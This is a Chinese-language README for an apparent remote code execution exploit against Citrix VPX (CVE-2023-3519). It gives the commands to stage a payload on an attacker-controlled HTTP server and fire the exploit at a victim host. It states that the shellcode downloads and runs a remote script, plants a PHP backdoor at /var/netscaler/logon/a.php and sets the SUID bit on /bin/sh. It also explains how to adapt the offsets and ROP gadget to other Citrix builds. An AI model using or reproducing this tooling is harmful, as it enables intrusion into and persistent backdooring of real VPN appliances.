
针对CVE-2023-3519的RCE利用工具
此漏洞利用程序针对 Citrix VPX 13.1-48.47 的地址和 shellcode。完整分析文章请点击此处。
需要 NASM 来构建 shellcode。
$ sudo apt install nasm
包含的 shellcode 会从远程 http(s) 服务器下载并执行一个 shell 脚本。该脚本接受 3 个参数:目标主机、目标端口以及 shell 脚本 payload 的 URL。本仓库中包含一个示例 payload,它会在运行 id 和 uname -a 后进行自我清理。
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
URL 必须足够短以放入 shellcode 缓冲区,如果太长你会收到警告。
shellcode 会在 /var/netscaler/logon/a.php 创建一个 PHP 后门,并设置 /bin/sh 的 SUID 位。包含的 sh payload 展示了如何自动清理这些产物。另请注意,shellcode 不会关闭其文件描述符,因此过度重复利用可能导致资源耗尽。
对于基于 FreeBSD 的 Citrix 目标,你只需要找到 3 个值:保存返回指针的偏移量、一个 jmp rsp ROP 小工具(或等效内容,如 push rsp; ret;),以及跳转地址以避免崩溃。这些参数都硬编码在 cve-2023-3519.py 的顶部附近。对于某些版本,你可能还需要找到第四个值来修正 RBP 值,因为编译器生成的是基于 RBP 的相对加载,而不是使用 POP 指令恢复保存的寄存器。